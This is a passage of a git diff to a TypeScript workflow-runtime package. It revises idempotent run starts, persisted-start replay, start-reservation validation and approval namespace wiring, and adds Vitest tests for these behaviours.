nonpending result while preserving application payload', async () => { + const { topology } = topologyFor({ + kind: 'result', + execution, + value: { ...value, unknownExtra: 'omit' }, + raw: 'private wrapper extra', + }); + await expect( + topology.persistedStart('workflow-1', 'run-1'), + ).resolves.toEqual({ kind: 'result', execution, value }); + }); + + it.each([ + ['missing discriminator', { execution, value }], + ['initial with value', { kind: 'initial', execution, value }], + ['missing result value', { kind: 'result', execution }], + [ + 'pending result', + { kind: 'result', execution, value: { ...value, status: 'pending' } }, + ], + [ + 'foreign physical workflow', + { + kind: 'result', + execution: { ...execution, workflowId: 'other' }, + value, + }, + ], + [ + 'foreign logical target', + { + kind: 'result', + execution: { ...execution, target: { kind: 'workflow', id: 'other' } }, + value, + }, + ], + [ + 'foreign physical run', + { kind: 'result', execution: { ...execution, runId: 'other' }, value }, + ], + [ + 'noncanonical prefix', + { + kind: 'result', + execution: { ...execution, tablePrefix: 'SELECTED_' }, + value, + }, + ], + [ + 'partial generation', + { + kind: 'result', + execution: { ...execution, startToken: undefined }, + value, + }, + ], + [ + 'invalid null prefix arm', + { + kind: 'result', + execution: { ...execution, tablePrefix: undefined }, + value, + }, + ], + [ + 'foreign result run', + { kind: 'result', execution, value: { ...value, runId: 'other' } }, + ], + [ + 'unpaired requester', + { + kind: 'result', + execution, + value: { ...value, requestedBy: 'actor-1' }, + }, + ], + [ + 'invalid timing map', + { + kind: 'result', + execution, + value: { ...value, resumeCount: { gate: -1 } }, + }, + ], + [ + 'structural authority', + { + kind: 'result', + execution, + value: { ...value, startReservation: { token: 'private' } }, + }, + ], + ])('refuses malformed successful private data: %s', async (_name, payload) => { + const { topology, fetch } = topologyFor(payload); + const outcome = await topology + .persistedStart('workflow-1', 'run-1') + .catch((error: unknown) => error); + expect(fetch).toHaveBeenCalledOnce(); + expect(outcome).toMatchObject({ + status: 503, + message: 'persisted start is not readable', + }); + expect((outcome as Error).message).not.toContain(execution.startToken); + }); + + it('treats only an actual 404 as absence and preserves non-OK reason', async () => { + await expect( + topologyFor({ error: 'missing' }, 404).topology.persistedStart( + 'workflow-1', + 'run-1', + ), + ).resolves.toBeUndefined(); + await expect( + topologyFor( + { error: 'held', reason: { code: 'RUN_START_PENDING' } }, + 503, + ).topology.persistedStart('workflow-1', 'run-1'), + ).rejects.toMatchObject({ + status: 503, + message: 'held', + reason: { code: 'RUN_START_PENDING' }, + }); + const badJson = createDoRunTopology( + { + idFromName: (name: string) => name, + get: () => ({ + fetch: async () => new Response('bad-json', { status: 409 }), + }), + }, + DEPLOYMENT_IDENTITY_SECRET, + ); + await expect( + badJson.persistedStart('workflow-1', 'run-1'), + ).rejects.toMatchObject({ + status: 409, + message: 'run request failed with status 409', + }); + }); + + it('captures and sends the original winning claim before fetch waits', async () => { + const { topology, requests } = harness(); + const claim = { + key: 'key-1', + state: 'started' as const, + binding: { kind: 'unbound' as const }, + owner: { kind: 'human' as const, id: 'actor-1' }, + targetKind: 'workflow' as const, + targetId: 'workflow-1', + runId: 'run-1', + createdAt: 7, + updatedAt: 8, + }; + await topology.start({ + workflowId: 'workflow-1', + runId: 'run-1', + inputData: {}, + principal: { kind: 'human', id: 'actor-1', role: 'operator' }, + idempotencyKey: 'key-1', + startReservation: claim, + }); + expect(JSON.parse(requests[0]?.init?.body ?? '').startReservation).toEqual( + claim, + ); + }); +}); diff --git a/packages/flowsafe/src/host-kit/do-run-topology.ts b/packages/flowsafe/src/host-kit/do-run-topology.ts index 1e3473de..f6dad235 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.ts @@ -19,11 +19,19 @@ import { import { deploymentIdentityHeaders, EXECUTION_PRINCIPAL_HEADER, + InvalidRunRequestError, type RunLifecycleCas, type RunSummary, stampMutationEpoch, } from '../do-runner/index.js'; -import { type DoResponseLike, doSummary } from './do-response.js'; +import type { PersistedStartResult } from '../do-runner/start-idempotency.js'; +import { captureReservation } from '../do-runner/start-reservation-contract.js'; +import { + type DoResponseLike, + doPersistedStart, + doStartLiveness, + doSummary, +} from './do-response.js'; import type { RunStartInput } from './run-router.js'; /** The subset of a DurableObjectStub the topology uses. */ @@ -45,6 +53,10 @@ export interface RunnerNamespaceLike { } export interface DoRunTopology { + persistedStart( + workflowId: string, + runId: string, + ): Promise | undefined>; /** createRunRouter's `start` thunk. */ start(input: DoRunStartInput): Promise; /** createRunRouter's `status` thunk (a DO 404 reads as undefined). */ @@ -54,20 +66,6 @@ export interface DoRunTopology { workflowId: string, runId: string, ): Promise; - /** - * Is a start for this run executing in its Durable Object right now? - * - * createRunRouter's liveness probe, and the reason an idempotent replay can - * tell "still working" from "died holding the claim" without a timer. The run - * object is the only place that can answer: it is addressed by - * `idFromName(workflowId:runId)`, so there is exactly one instance that could - * be running this run, and if that instance says no then nothing is. - * - * An unreachable object reads as NOT live. That is the fail-closed direction - * here — it produces the refusal that asks a human to investigate, whereas a - * default of "live" would answer a permanently broken run with a permanently - * retryable 503. - */ startLiveness(workflowId: string, runId: string): Promise; /** createRunRouter's `resume` thunk. */ resume( @@ -111,11 +109,6 @@ export type DoRunStartInput = RunStartInput & { initialState?: unknown; }; -/** The run object's answer to the liveness probe. */ -interface StartLivenessBody { - live?: unknown; -} - export function createDoRunTopology( namespace: RunnerNamespaceLike, deploymentIdentitySecret: string, @@ -161,7 +154,25 @@ export function createDoRunTopology( dispatchId, deadlineMs, idempotencyKey, + startReservation: suppliedReservation, }) => { + const startReservation = + suppliedReservation === undefined + ? undefined + : captureReservation(suppliedReservation, 'started'); + if ( + startReservation && + (startReservation.key !== idempotencyKey || + startReservation.runId !== runId || + startReservation.targetKind !== 'workflow' || + startReservation.targetId !== workflowId || + startReservation.threadId !== undefined || + startReservation.owner.kind !== principal.kind || + startReservation.owner.id !== principal.id) + ) + throw new InvalidRunRequestError( + 'start reservation does not match the trusted start', + ); if ((scheduleId === undefined) !== (dispatchId === undefined)) { throw new Error( 'scheduled run starts require both scheduleId and dispatchId', @@ -184,6 +195,7 @@ export function createDoRunTopology( // bearing one is refused for, so the DO can treat what arrives // here as the router's own reserved key. ...(idempotencyKey === undefined ? {} : { idempotencyKey }), + ...(startReservation === undefined ? {} : { startReservation }), ...(scheduleId === undefined ? { inputData, initialState, deadlineMs } : { scheduleId, dispatchId, deadlineMs }), @@ -191,23 +203,13 @@ export function createDoRunTopology( }), ); }, - startLiveness: async (workflowId, runId) => { - // Only an explicit `true` from the run's own object counts as live. - // Everything else — a non-200, an unparseable body, a field of the wrong - // shape — is "this did not tell me the run is running", which is not the - // same as "it is", and treating it as such would turn a broken probe into - // an indefinitely retryable PENDING for a run nobody is executing. - const response = await stub(workflowId, runId).fetch( - `http://do/runs/${workflowId}/${runId}/start-liveness`, - { headers: deploymentIdentityHeaders(deploymentIdentitySecret) }, - ); - if (response.status !== 200) return false; - try { - return ((await response.json()) as StartLivenessBody).live === true; - } catch { - return false; - } - }, + startLiveness: async (workflowId, runId) => + doStartLiveness( + await stub(workflowId, runId).fetch( + `http://do/runs/${workflowId}/${runId}/start-liveness`, + { headers: deploymentIdentityHeaders(deploymentIdentitySecret) }, + ), + ), // The DO answers 404 for a run it has never seen; the router turns the // undefined into its own 404 rather than leaking the DO's body. status: async (workflowId, runId) => { @@ -218,6 +220,14 @@ export function createDoRunTopology( if (response.status === 404) return undefined; return doSummary(response); }, + persistedStart: async (workflowId, runId) => { + const response = await stub(workflowId, runId).fetch( + `http://do/runs/${workflowId}/${runId}?replay=1`, + { headers: deploymentIdentityHeaders(deploymentIdentitySecret) }, + ); + if (response.status === 404) return undefined; + return doPersistedStart(response, { workflowId, runId }); + }, dispatchStatus: async (workflowId, runId) => { const response = await stub(workflowId, runId).fetch( `http://do/runs/${workflowId}/${runId}/dispatch-status`, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index bbfaa680..e596c0c0 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -22,9 +22,11 @@ import { } from '../audit-export/index.js'; import { EXECUTION_PRINCIPAL_HEADER, + executionFenceFor, InvalidMutationEpochError, type RunDeadlineCursor, type RunSummary, + startIdempotencyFor, } from '../do-runner/index.js'; import type { ResumeRunFn } from './approval-bridge.js'; import { @@ -181,7 +183,7 @@ describe('C Worker epoch capture', () => { '/runs', '/healthz', '/admin/maintenance-status', - ])('C captures Worker epoch before identity SQL', async (path) => { + ])('C captures Worker epoch before identity SQL for %s', async (path) => { type EpochEnv = FlowsafeWorkerEnv & { epoch: number }; const order: string[] = []; const observed: Array = []; @@ -2752,3 +2754,147 @@ describe('createFlowsafeWorker drain inventory', () => { expect(response.status).toBe(405); }); }); + +describe('FS8 D3 proof activation Worker composition', () => { + it.each([ + '', + 'PROOF_', + ])('passes its captured trusted namespace %s into actual approval decisions', async (configuredPrefix) => { + const h = makeEnv(); + const prefix = configuredPrefix.toLowerCase(); + const runId = 'acme_run-proof'; + const fence = executionFenceFor(h.env.DB); + await fence.seed('migration-locked'); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'key', + }); + await h.env.DB.prepare( + 'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?', + ) + .bind(runId, prefix, 'wf', 'generation') + .run(); + await h.env.DB.prepare( + `CREATE TABLE ${prefix}mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)`, + ).run(); + await h.env.DB.prepare( + `INSERT INTO ${prefix}mastra_workflow_snapshot VALUES (?,?,?,?,?,?)`, + ) + .bind( + 'wf', + runId, + null, + JSON.stringify({ + runId, + status: 'suspended', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'generation', + attemptToken: 'attempt', + resumeCounts: [], + }, + }, + }), + 'created', + 'updated', + ) + .run(); + const store = approvalStoreFactoryFor(h.env.DB, prefix).store(); + const now = new Date().toISOString(); + const { record } = await store.create({ + id: 'approval-proof', + workflowId: 'wf', + runId, + title: 'proof', + connectors: [], + priority: 'normal', + status: 'pending', + requestedBy: 'other', + requestedByKind: 'human', + createdAt: now, + updatedAt: now, + }); + const overrides: Partial> = { + storageTablePrefix: configuredPrefix, + buildResumeRun: () => async () => successSummary(runId), + }; + const worker = makeWorker(overrides); + overrides.storageTablePrefix = 'changed_'; + const response = await worker.fetch( + authed(`http://host/api/approvals/${record.id}/decide`, { + method: 'POST', + body: JSON.stringify({ decision: 'approve' }), + }), + h.env, + h.ctx, + ); + expect((await store.get(record.id))?.status).toBe('approved'); + expect(response.status).toBe(200); + await h.flush(); + }); + + it.each([ + 'initial', + 'result', + ] as const)('uses the private persistedStart %s callback through the actual Worker router', async (kind) => { + const h = makeEnv(); + const store = startIdempotencyFor(h.env.DB); + await store.reserve({ + key: 'key', + owner: { kind: 'human', id: 'ada' }, + targetKind: 'workflow', + targetId: 'wf', + mintRunId: () => 'acme_run-proof', + }); + const requests: string[] = []; + const summary = successSummary('acme_run-proof'); + h.env.RUNNER = { + idFromName: (name) => name, + get: () => ({ + fetch: async (url: string) => { + requests.push(url); + if (url.includes('?replay=1')) + return new Response( + JSON.stringify({ + kind, + execution: { + tablePrefix: '', + workflowId: 'wf', + runId: 'acme_run-proof', + startToken: 'generation', + owner: { kind: 'human', id: 'ada' }, + target: { kind: 'workflow', id: 'wf' }, + }, + ...(kind === 'result' ? { value: summary } : {}), + }), + ); + if (url.includes('start-liveness')) + return new Response(JSON.stringify({ live: true })); + throw new Error('public status or start was unexpectedly used'); + }, + }), + }; + const response = await makeWorker().fetch( + authed('http://host/runs', { + method: 'POST', + body: JSON.stringify({ workflowId: 'wf', idempotencyKey: 'key' }), + }), + h.env, + h.ctx, + ); + const reservation = await store.read('key'); + expect(reservation?.binding.kind).toBe( + kind === 'result' ? 'bound' : 'unbound', + ); + expect(requests[0]).toContain('?replay=1'); + expect(response.status).toBe(kind === 'result' ? 200 : 503); + if (kind === 'result') expect(await response.json()).toMatchObject(summary); + else + expect(await response.json()).toMatchObject({ + reason: { code: 'IDEMPOTENT_START_PENDING' }, + }); + await h.flush(); + }); +}); diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index eb91d438..10a8e878 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -337,6 +337,7 @@ export interface FlowsafeRunnerLifecycleConfig { export interface FlowsafeWorkerConfig extends FlowsafeRunnerLifecycleConfig { + /** Trusted host epoch, captured before request authentication and storage waits. Client headers cannot supply this authority. */ mutationEpoch?: number | ((env: Env) => unknown); /** The catalog createRunRouter serves and gates (hosts pass their metas). */ workflows: ReadonlyArray; @@ -489,16 +490,9 @@ interface ConfiguredApprovalServiceOptions { notify?: ApprovalNotificationSink; allowSelfDecision: SelfDecisionPolicy; stream?: ApprovalStreamSink; - /** - * REQUIRED, unlike its optional counterpart on HostApprovalServiceOptions: - * this interface is internal to the composer, both of its call sites are in - * this file, and every service the composer builds sits on a database whose - * fence it can name. Making it required is what keeps a third call site from - * being added later that silently builds an unfenced service — which would - * let a decision commit durably on a migration-locked deployment and then - * fail to resume. - */ + /** Every composed service uses the captured database fence and namespace. */ executionFence: ExecutionFenceStore; + workflowTablePrefix: string; } function buildConfiguredApprovalService( @@ -524,6 +518,7 @@ function buildConfiguredApprovalService( allowSelfDecision: options.allowSelfDecision, stream: options.stream, executionFence: options.executionFence, + workflowTablePrefix: options.workflowTablePrefix, }); } @@ -556,6 +551,7 @@ export function createFlowsafeRunnerLifecycle( const service = buildConfiguredApprovalService(config, env, topology, { store: approvalStoreFactoryFor(env.DB, storageTablePrefix).store(), executionFence: executionFenceForEnv(env), + workflowTablePrefix: (storageTablePrefix ?? '').toLowerCase(), waitUntil: options.waitUntil, notify: config.notify?.(env), allowSelfDecision, @@ -1150,6 +1146,7 @@ export function createFlowsafeWorker( buildConfiguredApprovalService(config, env, topology, { store, executionFence: executionFenceForEnv(env), + workflowTablePrefix: (storageTablePrefix ?? '').toLowerCase(), waitUntil, notify, stream, @@ -1649,6 +1646,7 @@ export function createFlowsafeWorker( startIdempotency: { store: startIdempotencyForEnv(env), live: topology.startLiveness, + persistedStart: topology.persistedStart, executionFence: executionFenceForEnv(env), }, beforeStart: beforeStart diff --git a/packages/flowsafe/src/host-kit/host-approval-service.test.ts b/packages/flowsafe/src/host-kit/host-approval-service.test.ts index 5c45c744..61cb96e4 100644 --- a/packages/flowsafe/src/host-kit/host-approval-service.test.ts +++ b/packages/flowsafe/src/host-kit/host-approval-service.test.ts @@ -9,6 +9,7 @@ import { ApprovalAuthzError, InMemoryApprovalStoreFactory, } from '../approval-api/index.js'; +import type { ExecutionFenceStore } from '../do-runner/execution-fence.js'; import { buildHostApprovalService, runApprovalRetentionPurge, @@ -138,3 +139,51 @@ describe('buildHostApprovalService allowSelfDecision passthrough', () => { ).rejects.toBeInstanceOf(ApprovalAuthzError); }); }); + +describe('FS8 D3 proof activation host approval namespace', () => { + it('forwards the explicit namespace to the deciding service without inferring an omitted prefix', async () => { + const execution = { + tablePrefix: 'proof_', + workflowId: 'wf', + runId: 'run', + startToken: 'generation', + }; + const readCurrentRunExecution = vi.fn(async () => execution); + const fence = { + read: async () => ({ + state: 'proof-only', + proofKey: 'key', + proofRunId: 'run', + proofExecution: execution, + }), + readCurrentRunExecution, + } as unknown as ExecutionFenceStore; + for (const workflowTablePrefix of [undefined, 'PROOF_']) { + const store = new InMemoryApprovalStoreFactory().store(); + const service = buildHostApprovalService(store, { + systemPrincipalId: 'system', + executionFence: fence, + workflowTablePrefix, + resumeRun: async () => ({ runId: 'run', status: 'success' }), + }); + const { record } = await service.create( + { workflowId: 'wf', runId: 'run', title: 'proof' }, + OPERATOR, + ); + const result = await service + .decide(record.id, { decision: 'approve' }, ADMIN) + .catch((error) => error); + expect((await store.get(record.id))?.status).toBe( + workflowTablePrefix === undefined ? 'pending' : 'approved', + ); + if (workflowTablePrefix !== undefined) { + expect(result).toMatchObject({ record: { status: 'approved' } }); + expect(readCurrentRunExecution).toHaveBeenCalledWith({ + tablePrefix: 'proof_', + workflowId: 'wf', + runId: 'run', + }); + } + } + }); +}); diff --git a/packages/flowsafe/src/host-kit/host-approval-service.ts b/packages/flowsafe/src/host-kit/host-approval-service.ts index 14444612..b5ce23e4 100644 --- a/packages/flowsafe/src/host-kit/host-approval-service.ts +++ b/packages/flowsafe/src/host-kit/host-approval-service.ts @@ -193,6 +193,7 @@ export interface HostApprovalServiceOptions { * the wiring can happen, so the type has to make it name one. */ executionFence: ExecutionFenceWiring; + workflowTablePrefix?: string; } /** @@ -228,6 +229,7 @@ export function buildHostApprovalService( // erased, one layer above the gate, the distinction between a host that // named the opt-out and one that never held a fence at all. executionFence: options.executionFence, + workflowTablePrefix: options.workflowTablePrefix, resumeRun: resumeRunWithRequeue( options.resumeRun, () => service, diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index 4384a6c9..9b28800f 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -21,6 +21,7 @@ export { ExecutionFenceUnreadableError, InvalidExecutionIdentityError, InvalidMutationEpochError, + isRunStartPendingError, MUTATION_EPOCH_HEADER, type MutationEpochContext, MutationEpochMismatchError, @@ -34,6 +35,7 @@ export { type RunAdmissionConflictClassification, RunAdmissionConflictError, type RunExecutionIdentity, + RunStartPendingError, type StartExecutionIdentity, type StartIdentity, stampMutationEpoch, diff --git a/packages/flowsafe/src/host-kit/run-router.test.ts b/packages/flowsafe/src/host-kit/run-router.test.ts index 24f77ebc..97b4f506 100644 --- a/packages/flowsafe/src/host-kit/run-router.test.ts +++ b/packages/flowsafe/src/host-kit/run-router.test.ts @@ -110,7 +110,18 @@ interface HarnessOptions { * which is what every earlier unkeyed-start case in this file wants: unkeyed * starts are unaffected; keyed starts on an unwired host refuse. */ - startIdempotency?: RunRouterOptions['startIdempotency']; + startIdempotency?: + | 'none' + | (Omit< + Exclude, + 'persistedStart' + > & + Partial< + Pick< + Exclude, + 'persistedStart' + > + >); } function makeHarness(options: HarnessOptions = {}) { @@ -176,7 +187,32 @@ function makeHarness(options: HarnessOptions = {}) { }, beforeStart: options.beforeStart, systemPrincipalId: SYSTEM.id, - startIdempotency: options.startIdempotency ?? 'none', + startIdempotency: + options.startIdempotency === undefined || + options.startIdempotency === 'none' + ? 'none' + : { + ...options.startIdempotency, + persistedStart: + options.startIdempotency.persistedStart ?? + (async (workflowId, runId) => { + const value = await options.status?.(workflowId, runId); + return value === undefined + ? undefined + : { + kind: 'result', + value, + execution: { + tablePrefix: '', + workflowId, + runId, + startToken: 'test-generation', + owner: { kind: 'human', id: OPERATOR.id }, + target: { kind: 'workflow', id: workflowId }, + }, + }; + }), + }, start: async (input) => { await backend.resources().claim('run', input.runId, { kind: input.principal.kind, @@ -363,6 +399,7 @@ describe('C workflow router capture', () => { it.each([ 'mutationEpoch', 'startIdentity', + 'startReservation', 'agentStart', 'execution', 'tablePrefix', @@ -557,7 +594,7 @@ describe('C workflow router capture', () => { const startRelease = cDeferred(); const store = cStartStore(); const reserve = store.reserve.bind(store); - const claim = store.claim.bind(store); + const claim = store.claimReservation.bind(store); const reserveSpy = vi .spyOn(store, 'reserve') .mockImplementation(async (...args) => { @@ -567,7 +604,7 @@ describe('C workflow router capture', () => { } return reserve(...args); }); - vi.spyOn(store, 'claim').mockImplementation(async (...args) => { + vi.spyOn(store, 'claimReservation').mockImplementation(async (...args) => { if (boundary === 'claim') { f3Entered.resolve(); await f3Release.promise; @@ -1776,7 +1813,9 @@ describe('createRunRouter — idempotent start', () => { targetId: 'open-flow', mintRunId: () => 'inflight_run', }); - await store.claim('key-1', 'inflight_run'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); // #when const response = await handle( @@ -1804,7 +1843,9 @@ describe('createRunRouter — idempotent start', () => { targetId: 'open-flow', mintRunId: () => 'orphan_run', }); - await store.claim('key-1', 'orphan_run'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); // #when const response = await handle( @@ -1832,8 +1873,21 @@ describe('createRunRouter — idempotent start', () => { targetId: 'open-flow', mintRunId: () => 'settled_run', }); - await store.claim('key-1', 'settled_run'); - await store.settleRun('settled_run'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); + const terminalExecution = { + tablePrefix: '', + workflowId: 'open-flow', + runId: 'settled_run', + startToken: 'settled-generation', + owner: { kind: 'human' as const, id: OPERATOR.id }, + target: { kind: 'workflow' as const, id: 'open-flow' }, + }; + const startedReservation = await store.readForAdmission('key-1'); + if (!startedReservation) throw new Error('missing started reservation'); + await store.bindPreparedStart(startedReservation, terminalExecution); + await store.settleExecution(terminalExecution); // #when const response = await handle( @@ -1876,7 +1930,7 @@ describe('createRunRouter — idempotent start', () => { }); }); - it('gives the claim back when the execution fence refuses, and converges on retry after it reopens', async () => { + it('retains the claim after an outer fence error and refuses another engine entry', async () => { // #given a deployment whose fence closes between the claim and the start let fenced = true; const executions: string[] = []; @@ -1898,6 +1952,7 @@ describe('createRunRouter — idempotent start', () => { }), ); const reservedRunId = (await store.read('key-1'))?.runId; + expect((await store.read('key-1'))?.state).toBe('started'); fenced = false; const retry = await handle( req('/runs', { @@ -1905,15 +1960,15 @@ describe('createRunRouter — idempotent start', () => { }), ); - // #then the fence's own refusal reached the caller, the claim went back, - // and the retry ran the SAME run — a fence transition mid-start must not - // manufacture an unresolvable reservation, nor a second run. + // The outer error proves no absence of effects, so the exact claim remains spent. expect(refused?.status).toBe(503); expect(await refused?.json()).toMatchObject({ reason: { code: 'EXECUTION_FENCED' }, }); - expect(retry?.status).toBe(200); - expect(executions).toEqual([reservedRunId]); + expect(retry?.status).toBe(409); + expect((await store.read('key-1'))?.state).toBe('started'); + expect((await store.read('key-1'))?.runId).toBe(reservedRunId); + expect(executions).toEqual([]); }); it('keeps the claim when a start fails for any other reason', async () => { diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts index bd926b36..10a1897c 100644 --- a/packages/flowsafe/src/host-kit/run-router.ts +++ b/packages/flowsafe/src/host-kit/run-router.ts @@ -38,15 +38,16 @@ import { DoStatusError, type ExecutionFenceWiring, InvalidRunRequestError, + type PersistedStartResult, RunAlreadyExistsError, RunLifecycleBlockedError, RunNotSuspendedError, type RunSummary, RunTerminalConflictError, requireStartIdempotency, - rollbackFencedStart, type StartIdempotencyWiring, type StartReservation, + type StartReservationReading, UnknownRunError, UnknownWorkflowError, } from '../do-runner/index.js'; @@ -175,6 +176,10 @@ export type RunRouterStartIdempotency = * runtime's own `isRunActive`. */ live: (workflowId: string, runId: string) => Promise; + persistedStart: ( + workflowId: string, + runId: string, + ) => Promise | undefined>; /** * The deployment execution fence, so a REPLAY can re-assert a proof-only * fence's binding to the run this key already made. @@ -193,6 +198,7 @@ export type RunRouterStartIdempotency = }; export interface RunStartInput { + readonly startReservation?: StartReservationReading; readonly mutationEpoch?: number; workflowId: string; runId: string; @@ -380,39 +386,34 @@ async function startIdempotently( }, { persisted: async (reservation: StartReservation) => - options.status(workflowId, reservation.runId), + wiring === 'none' + ? undefined + : wiring.persistedStart(workflowId, reservation.runId), live: async (reservation: StartReservation) => live ? live(workflowId, reservation.runId) : false, }, wiring === 'none' ? undefined : wiring.executionFence, + mutationEpoch, ); if (decision.kind === 'replay') { return { summary: decision.persisted, replayed: true }; } const { runId, key } = decision.reservation; - try { - return { - summary: await options.start({ - workflowId, - runId, - inputData: body.inputData, - principal, - mutationEpoch, - idempotencyKey: key, - ...(body.deadlineMs === undefined - ? {} - : { deadlineMs: body.deadlineMs as number }), - }), - replayed: false, - }; - } catch (error) { - // Only a fence refusal gives the claim back — see rollbackFencedStart. A - // deployment that closed its fence between the claim and the start executed - // nothing, so holding the claim would turn an operator's drain into a - // permanently poisoned key; anything else may have executed, and giving the - // claim back there would hand the next retry a second run. - return rollbackFencedStart(store, key, runId, error); - } + return { + summary: await options.start({ + workflowId, + runId, + inputData: body.inputData, + principal, + mutationEpoch, + idempotencyKey: key, + startReservation: decision.reservation, + ...(body.deadlineMs === undefined + ? {} + : { deadlineMs: body.deadlineMs as number }), + }), + replayed: false, + }; } export function createRunRouter(options: RunRouterOptions): RunRouter { @@ -473,6 +474,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { const parsed = (await readJson(request)) as StartBody | null; if (!parsed) return json({ error: 'workflowId is required' }, 400); const forbidden = [ + 'startReservation', 'mutationEpoch', 'startIdentity', 'agentStart', diff --git a/packages/flowsafe/src/schedules/tick.test.ts b/packages/flowsafe/src/schedules/tick.test.ts index fbca6bdd..f165f2fa 100644 --- a/packages/flowsafe/src/schedules/tick.test.ts +++ b/packages/flowsafe/src/schedules/tick.test.ts @@ -1275,3 +1275,51 @@ describe('createScheduleTick and the deployment execution fence', () => { expect(store.schedules.get('schedule_a')?.nextFireAt).toBe(NOW - 1000); }); }); + +describe('FS8 D3 host activation pending schedule status', () => { + it('retains a deferred signal without resending or publishing finality while initial admission is pending', async () => { + const store = new FakeStore(); + store.seed( + workflowSchedule({ + id: 'agent_schedule', + target: { + type: 'agent', + agentId: 'a1', + prompt: 'go', + threadId: 'acme_thread', + resourceId: 'acme_resource', + signalType: 'reactive', + tagName: 'scheduled', + }, + }), + ); + const signalAgent = vi.fn(async (_input: ScheduleTickSignalAgentInput) => { + throw new Error('response lost'); + }); + const pending = Object.assign( + new Error('run start has no durable execution outcome'), + { status: 503, reason: { code: 'RUN_START_PENDING' } }, + ); + const tick = createScheduleTick({ + store, + start: vi.fn(), + signalAgent, + status: async () => { + throw pending; + }, + now: () => NOW, + }); + await tick(); + const first = structuredClone(store.triggers[0]); + expect(first).toMatchObject({ outcome: 'deferred' }); + const result = await tick(); + expect(store.triggers[0]).toMatchObject({ + id: first?.id, + runId: first?.runId, + outcome: 'deferred', + metadata: { dispatchRef: first?.metadata?.dispatchRef }, + }); + expect(signalAgent).toHaveBeenCalledOnce(); + expect(result).toMatchObject({ deferred: 1, fired: 0, failed: 0 }); + }); +}); diff --git a/packages/flowsafe/src/schedules/tick.ts b/packages/flowsafe/src/schedules/tick.ts index 765883ea..f0a56e3b 100644 --- a/packages/flowsafe/src/schedules/tick.ts +++ b/packages/flowsafe/src/schedules/tick.ts @@ -1,4 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 + +import { isRunStartPendingError } from '../do-runner/execution-admission.js'; // createScheduleTick. WE OWN THE TICK: a Durable Object alarm drives // listDueSchedules -> CAS updateScheduleNextFire claim -> fire, bypassing // core's pubsub worker loop entirely under the "one chokepoint, no second @@ -773,6 +775,7 @@ export function createScheduleTick( } catch (error) { let pendingError = error; if ( + !isRunStartPendingError(error) && ref.target === 'agent' && ref.mode === 'signal' && options.signalAgent diff --git a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts index a9549b95..0e4ab89e 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts @@ -14,12 +14,14 @@ import { createGuardedAgent, } from '@proofoftech/breakwater'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { FLOWSAFE_PERSISTENCE_FORBIDDEN } from '../agent-runner/durable-agent-runner.js'; import { createFlowsafeDurableAgent, type FlowsafeDurableAgent, } from '../agent-runner/index.js'; import { humanPrincipal } from '../approval-api/index.js'; +import type { ExecutionFenceDatabase } from '../do-runner/execution-fence.js'; import { createHostPubSub, InvalidRunRequestError, @@ -735,3 +737,99 @@ describe('thread signal routes with a real durable agent', () => { await within(first.output.consumeStream(), 'suspended stream cleanup'); }, 15_000); }); + +describe('FS8 D3 proof activation actual agent authority', () => { + it('uses the actual wrapper workflow and refuses a replaced generation after content inspection', async () => { + const sqlite = openSqlite(); + const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const pubsub = createHostPubSub(); + const runner = init({ DB: db }, { pubsub, tablePrefix: 'proof_' }); + const fence = runner.executionFence; + if (!fence) throw new Error('fixture fence missing'); + const memory = new MockMemory(); + const agent = createFlowsafeDurableAgent({ + agent: guardedTestAgent(memory), + runtime: runner.runtime, + pubsub, + cache: false, + }); + const workflowId = agent.getWorkflow().id; + const threadId = 'thread-real-proof'; + const runId = 'run-real-proof'; + const source = { + version: 2, + startToken: 'generation', + attemptToken: 'attempt', + resumeCounts: [], + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'writer', threadId }, + }, + agentStart: { threaded: true }, + }; + sqlite.exec( + 'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY (workflow_name,run_id))', + ); + const write = () => + sqlite + .prepare( + 'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)', + ) + .run( + workflowId, + runId, + threadId, + JSON.stringify({ + runId, + status: 'suspended', + requestContext: { 'flowsafe.runProvenance': source }, + steps: {}, 